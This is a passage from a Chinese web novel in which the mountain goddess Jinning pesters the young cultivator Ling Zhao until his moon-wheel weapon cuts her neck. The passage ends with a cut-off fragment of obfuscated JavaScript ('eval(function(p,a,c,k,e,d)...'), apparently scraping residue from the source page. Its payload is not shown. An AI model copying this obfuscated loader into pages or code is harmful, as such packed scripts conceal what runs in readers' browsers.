这是个好消息。
而日后如何,还要再观察观察。
锦宁看过许多话本,深知对待这种不爱说话的,想要接近就要用“烈女怕缠郎”的法子。
锦宁这般想着,也这样做了。
接连几日,时不时在那凌昭面前晃悠,活脱脱像个甩不开的狗皮膏药。
起初,凌昭见她,还视若无物,丝毫不搭理。
后来次数多了,再好的脾气和耐心也消弭殆尽,凌昭感到厌烦,便唤出月轮驱逐她。
月轮裹挟强悍的紫电,横窜在院中,每一下都恨不得打出让人魂飞魄散的架势。
锦宁与其缠斗,却明白其中震慑大于伤害,重点在于想让她知难而退。
可锦宁何许人等。
堂堂的山神大人,哪怕如今附身于一截木头上,对付凡人修士还是绰绰有余的。
她身姿矫健,灵活如水中鱼,衣诀翻飞,不攻只躲,在院子里来回地窜。
月轮不能伤她性命,本身就有限制,于是每次都恰巧擦过她的裙角,屡屡失手,张扬的紫电抓不住她不说,反倒把院子搞得一片狼藉,乌烟瘴气。
“回!”
伴随着少年压抑着怒火的传唤,月轮缩成巴掌小的半月银镯,落在少年的腕间。
他面色冷酷,愤愤地瞪锦宁一眼,扭头就走。
就这么敲敲打打几日。
凌昭似是认命,不再管她。
这日天不亮,锦宁就蹦蹦跳跳走到凌昭屋外,一手背后,一手敲门。
咚咚咚。
“凌昭,凌昭,你在吗?你还在睡觉吗?我又来找你玩啦!”
无人应答。
锦宁推推门,弯着腰侧着脑袋,借着一条狭窄的门缝,眯着眼往里望去。
没人。
人去哪了?
锦宁心里嘀咕道,突然,有什么凉凉的东西贴在她的脖颈上。
锦宁一个激灵,浑身汗毛炸开。
那月轮尖端划过她的脖颈,须臾间,便冒出一道长长的伤口,恍若血线。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toStri